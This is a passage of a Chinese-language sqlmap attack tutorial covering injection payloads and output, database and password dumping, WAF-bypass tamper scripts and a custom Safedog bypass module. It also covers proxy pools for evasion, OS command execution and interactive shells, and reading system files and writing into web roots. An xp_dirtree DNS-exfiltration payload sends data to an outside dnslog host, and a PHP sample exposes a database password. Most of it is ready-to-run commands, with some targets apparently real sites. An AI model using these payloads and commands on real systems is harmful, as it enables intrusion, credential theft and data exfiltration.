Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user: 'sa'
current database: 'testdb'
current user is DBA: True

[*] shutting down at 11:25:52

15.SQLMAP实战技巧一

检测注入

检测URL GET参数的是否存在注入

-u 检测的url

""双引号 表示这是一段字符串(存在连接符号&时用)

--dbms 指定攻击的数据引擎

-v 输出信息登记为1

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1

输入之后sqlmap会自动进行注入,但是会有一些进行提示 需要你在终端进行确认 如果使用--batch 会自动进行默认操作,不用进行交互信息确定

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 --batch

程序会自动确认进行SQL注入检测,看到存在注入的参数和攻击payload 也会显示注入的类型

  • time-based blind 时间盲注入

  • UNION query 联合注入

  • error-based 报错注入

  • boolean-based blind 布尔盲注

获取敏感信息

确定存在注入之后 接着通过获取敏感信息命令获取

--current-user 用户连接的用户

--currnet-db 当前库

--is-dba 是否root权限

--passwords 获取数据库的密码 使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解 如果需要选择合适的字典。

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch

获取所有库

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" -v 1 --dbms mysql --batch --dbs

获取表

在获取当前库、可以根据库列出表。

-D 指定库

--tables 列出所有表

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu --tables

获取表的字段

获取某个表的所有字段

-T 指定某个表

--columns 获取字段

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -T users --columns

获取某个库的所有表的所有字段

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -tables --columns

获取数据

--dump 是导出数据所有内容

--dump -C "username,password" 获取字段的内容

获取指定库所有表 所有字段内容

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -tables --columns --dump

获取指定表的 所有字段内容

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump-all

获取指定表 指定字段内容

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump

获取指定条数

获取总条数

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -T users --count

获取指定id条数

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 1 --stop 3

删除缓存文件

参数:--flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

安全的删除output目录的文件

参数:--purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

16.SQLMAP实战技巧二

实战中用的最多的技巧

--technique 使用指定的注入方式

在一些实战项目中,难免会遇上 网络反应缓慢,idc还有检测sqlmap的能力,所以作为一个专业的渗透测试人员,必须做到快准狠。

有些SQL注入点 只允许时间注入,这时指定SQLMAP的注入类型为T

以下是--technique 参数的值的解释

B:Boolean-basedblindSQLinjection(布尔型注入)
E:Error-basedSQLinjection(报错型注入)
U:UNIONquerySQLinjection(可联合查询注入)
S:StackedqueriesSQLinjection(可多语句查询注入)
T:Time-basedblindSQLinjection(基于时间延迟注入)
Q:InlineSQLInjection(内联注入)

使用基于时间的延时注入

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 3 -D pikachu --technique=T 

支持多种注入检测 默认是全部

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 3 -D pikachu --technique=BEUT

注入时使用随机的 HTTP User-Agent

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 3 -D --random-agent

--time-sec 使用时间注入时,设置延时的返回时间,默认是五秒

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 3 -D pikachu --technique=T --time-sec=6

设置超时时间

--time-out 这个参数是设置超时时间 有得网页响应比较慢,可以使用这个参数来增大访问超时的时间。默认是30

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" --dbms mysql -v 3 -D pikachu --timeout=10

读取文本进行SQL注入检测

sqlmap -r post.txt  
sqlmap -r post.txt  --batch
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.0.103
Connection: close
Referer: http://192.168.0.103/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=d2tc9ru7f1qdi44dvt8ecd2c95
Upgrade-Insecure-Requests: 1

id=1&submit=%E6%9F%A5%E8%AF%A2

指定参数进行注入

-p 指定需要测试的参数

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" -p name --dbms mysql -v 1 

使用*进行注入

如果url是伪静态的时 ,可以使用*号表示这是检测的地方

sqlmap -u "http://192.168.0.103/06/vul/sqli/id/1*./html

POST注入

sqlmap -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -p id -v 1

cookie注入

--cookie 输入cookie的请求参数

--level 2或者以上才进行cookie注入

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --dump -T admin -C "user,password" --level 2

17.SQLMAP实战技巧三

修改默认最大线程

lib/core/settings.py

默认最大线程是10 可以设置线程最大为100

MAX_NUMBER_OF_THREADS = 100

修改默认的浏览器

agent = Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0

使用配置文件检测

python sqlmap.py -C sqlmap.conf -u "http://www.baidu.com/adc.php?id=1"

18.SQLMAP实战技巧四 绕过防火墙拦截

目前很多网站都使用waf对网站进行保护,在渗透测试过程中,很多的操作都会被拦截,在测试SQL注入时,waf会对请求过来的流量进行拦截,导致SQLMAP请求的内容无法到达目标,SQLMAP无法判断目标是否存在注入,waf对恶意的攻击请求进行拦截,拦截会拉入黑名单,导致攻击者访问不到目标。无法进行安全检测。

sqlmap使用--tamper命令 选择合适的脚本对waf进行绕过

python sqlmap.py -u "http://192.168.1.107/sql/Less-1/?id=1" -p id --dbms mysql --tamper "space2comment"  -v 3 --dbs

宽字节注入

unmagicquotes.py

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 4

base64注入

sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";"  --dbms mysql --tamper "base64encode.py" -v 4 --level 3
GET /Less-21/index.php HTTP/1.1
Host: 192.168.0.136:7766
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.136:7766/Less-21/?id=1
Connection: close
Cookie: uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5"  --dbms mysql --tamper "base64encode.py" -v 1 --level 3

--param-del=";"  用;分割参数

sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";"  --dbms mysql --tamper "base64encode.py" -v 4 --level 3 

tampter模块列表

sqlmap --list-tampers

支持的数据库编号脚本名称作用实现方式
all1apostrophemask.py用utf8代替引号("1 AND '1'='1")   '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
2base64encode.py用base64编码替换("1' AND SLEEP(5)#")  'MScgQU5EIFNMRUVQKDUpIw=='
3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar')  '1  UNION   SELECT  foobar'
4space2plus.py用+替换空格('SELECT id FROM users')  'SELECT+id+FROM+users'
5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示   suitable for替代(例如 .replace(“SELECT”、”")) filters('1 UNION SELECT 2--')  '1 UNIOUNIONN SELESELECTCT 2--'
6space2randomblank.py代替空格字符(“”)从一个随机的空  白字符可选字符的有效集('SELECT id FROM users')  'SELECT%0Did%0DFROM%0Ausers'
7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT')  '-1 UNION SELECT'
8securesphere.py追加特制的字符串('1 AND 1=1')  "1 AND 1=1 and '0having'='0having'"
mssql1space2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)'1 AND 9227=9227'   '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
2equaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1   2 * Output: SELECT * FROM users WHERE id LIKE 1
3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users  Output: SELECT%08id%02FROM%0Fusers
4space2mssqlhash.py替换空格('1 AND 9227=9227')  '1%23%0AAND%23%0A9227=9227'
5between.py用between替换大于号(>)('1 AND A > B--')  '1 AND A NOT BETWEEN 0 AND B--'
6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE  * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾('1 AND 9227=9227-- ')  '1 AND 9227=9227-- sp_password'
8charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE  * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9randomcase.py随机大小写* Input: INSERT  * Output: InsERt
10charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE   * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users  * Output: SELECT//id//FROM/**/users
mysql >= 5.1.131equaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1   2 * Output: SELECT * FROM users WHERE id LIKE 1
2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')  '1 AND GREATEST(A,B+1)=A'
3apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")    '1 AND %00%271%00%27=%00%271'
4ifnull2ifisnull.py绕过对 IFNULL 过滤。  替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’('IFNULL(1, 2)')  'IF(ISNULL(1),2,1)'
5space2mssqlhash.py替换空格('1 AND 9227=9227')  '1%23%0AAND%23%0A9227=9227'
6modsecurityversioned.py过滤空格,包含完整的查询版本注释('1 AND 2>1--')  '1 /!30874AND 2>1/--'
7space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users  Output: SELECT%0Bid%0BFROM%A0users
8between.py用between替换大于号(>)('1 AND A > B--')  '1 AND A NOT BETWEEN 0 AND B--'
9modsecurityzeroversioned.py包含了完整的查询与零版本注释('1 AND 2>1--')  '1 /!00000AND 2>1/--'
10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)('1 AND 9227=9227')  '1--%0AAND--%0A9227=9227'
11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。  然后替换=为like('SELECT id FROM users where id = 1')  'SELECT%09id FROM users where id LIKE 1'
12percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE  * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE  * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14randomcase.py随机大小写* Input: INSERT  * Output: InsERt
15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#   * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users  * Output: SELECT//id//FROM/**/users
17charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE   * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#   * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
MySQL < 5.119halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa   * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’='QDWa
20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加  mysql版本评论1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")   2."value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa"
MySQL >= 5.1.1321space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227  * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')  '1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")    '1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--')  '1 AND A NOT BETWEEN 0 AND B--'
4charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE  * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5randomcase.py随机大小写* Input: INSERT  * Output: InsERt
6charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE   * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users  * Output: SELECT//id//FROM/**/users
PostgreSQL1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')  '1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")    '1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--')  '1 AND A NOT BETWEEN 0 AND B--'
4percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE  * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE  * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6randomcase.py随机大小写* Input: INSERT  * Output: InsERt
7charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE   * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users  * Output: SELECT//id//FROM/**/users
Access1appendnullbyte.py在有效负荷结束位置加载零字节字符编码('1 AND 1=1')  '1 AND 1=1%00'
其他
chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE  * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

unmagicquotes.py宽字符绕过 GPC addslashes* Input: 1′ AND 1=1  * Output: 1%bf%27 AND 1=1–%20

randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’

设置线程大小

在遇到waf的时候,如果并发过大,会认为是cc攻击,ip会被封堵

--threads=1 设置线程为1

设置http请求延时

--delay=DELAY       设置每个 HTTP 请求的延迟秒数

使用代理注入

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" -p name --dbms mysql -v 1  --proxy=http://123.73.63.6:46603

使用代理池注入

购买代理池之后 获取代理 保存到文件内

123.73.208.166:46603
123.73.63.29:46603
123.73.63.84:46603
112.123.40.42:40806
183.47.94.248:38090
121.237.149.88:13804
114.99.108.71:23359
123.73.209.246:46603
123.73.63.132:46603
119.55.253.202:39730

--proxy-file 从文件中加载代理列表

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt

19.SQLMAP实战技巧五 命令执行 文件读写 dns盲注

sqlmap命令执行

--os-cmd=OSCMD      执行操作系统命令
--os-shell 调出交互式操作系统 shell

注入点的当前用户是dba时,使用以上两个命令,一个是执行命令,一个是调用交互操作系统shell

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"
sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell

使用--os-shell命令会弹出一个交互shell的界面 可以在其输入命令,如果可以回显就会返回命令执行的信息。

读取和写入文件

--file-read 读取文件 读取文件首先要知道路径,才能读取

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-read="C:/Windows/System32/inetsrv/MetaBase.xml" --threads=10

C:/Windows/System32/inetsrv/MetaBase.xml 可以换成其他文件路径 如果是linux 可以读取/etc/passwd

--file-write 写入文件

--file-write 目标路径 --file-dest 文件路径

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-write D:\1.txt --file-dest C:\Hws.com\HwsHostMaster\wwwroot\dm1.com\web\1.txt

sqlmap dnslog注入

这种情况适合使用没有回显的时,使用注入把数据发送到远程dnslog上。

--sql-shell 调用 sql交互shell

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'.2kbg3j.dnslog.cn';EXEC('master..xp_dirtree "\\'[email protected]+'\foobar$"')

sqlmap --dns-domain 注入

如果目标存在注入,使用时间注入的时,速度过慢,可以使用dnslog注入

首先准备两个域名 readteam.club 1377day.com

readteam.club 这个是阿里云的域名 添加三条记录 分别是*  、ns1、 ns2

1377day.com 设置 dns服务服务为 ns1.readteam.club ns2.readteam.club

在sqlmap服务器上监听53端口

tcpdump -n port 53

ping www.1377day.com

这个是存在盲注入的php代码

<?php

$servername = "localhost";
$username = "root";
$password = "oCFWyfGnz8gcWuWv";
$dbame="x_pt7_site";
// Create connection
$conn = new mysqli($servername, $username, $password);

// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$conn->select_db("x_pt7_site") or die("选择数据库失败:".$conn->error);

$id = $_GET['id'];
$sql = "select * from users where id=".$id; // 数字型

$res =$conn->query($sql);
echo "<br><br>";
echo "<br>";
/*
while($rows = $res->fetch_array()){
echo $rows['username'];
}
*/
echo "<b>";
?>

这个命令在sqlmap服务器上执行  

python3 sqlmap.py -u http://s.pt7.site/sql.php?id=1 --dbms mysql --technique=T  --dns-domain=1377day.com -D x_pt7_site --columns --batch

可以看到dns 隧道通信成功。盲注入的速度比时间盲注入快多了。

20.编写tamper模块绕过waf拦截继续注入

首先判断 waf的厂商 新版的sqlmap会自动去执行waf检测

sqlmap -u http://www.p2.com/inj.aspx?id=1 -v 1  --random-agent

在SQL注入中,经常性会遇到各种厂商的waf,绕过之后经常手工提交,这样显得特别马上,特别是要注入得到数据的时,手工获取的信息太慢,这个时候可以用编写sqlmap的tamper模块进行注入,自动化进行操作,这样就方便得多了。

首先分析得绕过安全狗的 payload

--/*%0a这里是你的填写你的注入语句--%20*/

注入的语句在里面会正常执行被执行的。

接着来分析一下tamper

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW # 优先级设置

def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) #描述
# tamper函数为自定义你的payload
def tamper(payload, **kwargs):
payload=payload.replace('AND','--/*%0aAND')#关键词替换
payload=payload.replace('ORDER','--/*%0aORDER')
payload=payload.replace('UNION','--/*%0aunion')
payload+='--%20*/'#追加字符串
return payload #返回最终的字符串

执行命令

使用联合查询注入检测,随机浏览器 默认会被安全狗拦截

sqlmap.py -u http://www.p2.com/inj.aspx?id=1 --dbms="MSSQL" --tamper bypass_safedog_msql.py -v 4 --flush-session --batch --tech=U --random-agent --dbs

![](

21.sqlmap 暴力穷举表字段

在access和mysql4.0数据库 没有内置库,针对这类数据库sqlmap使用字典穷举的方法对表进行猜解。

sqlmap内置表和字段的字典

sqlmap -u http://www.dm3.com/Content.asp?id=9 --dbms access --threads=10 --tables

存在注入系统会询问你是否使用字段进行猜解 选择1后会自动猜解

如果猜解出来 接着猜解字段

sqlmap -u http://www.dm3.com/Content.asp?id=9 --dbms access --threads=10 -T i_users --columns

如果你知道字段和表名可以直接不猜解 sqlmap自动进行数据获取

sqlmap -u http://www.dm3.com/Content.asp?id=9 --dbms access --threads=10 -T i_user -C "u_id,u_user,u_pass" --dump


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247497040&idx=1&sn=e2462d70b3eea28021b7385251537218&chksm=c30560d7f472e9c18cc73827cebe6ea2ab2fd902da8e2366cc898fafea41963017386bc748a8#rd
如有侵权请联系:admin#unsafe.sh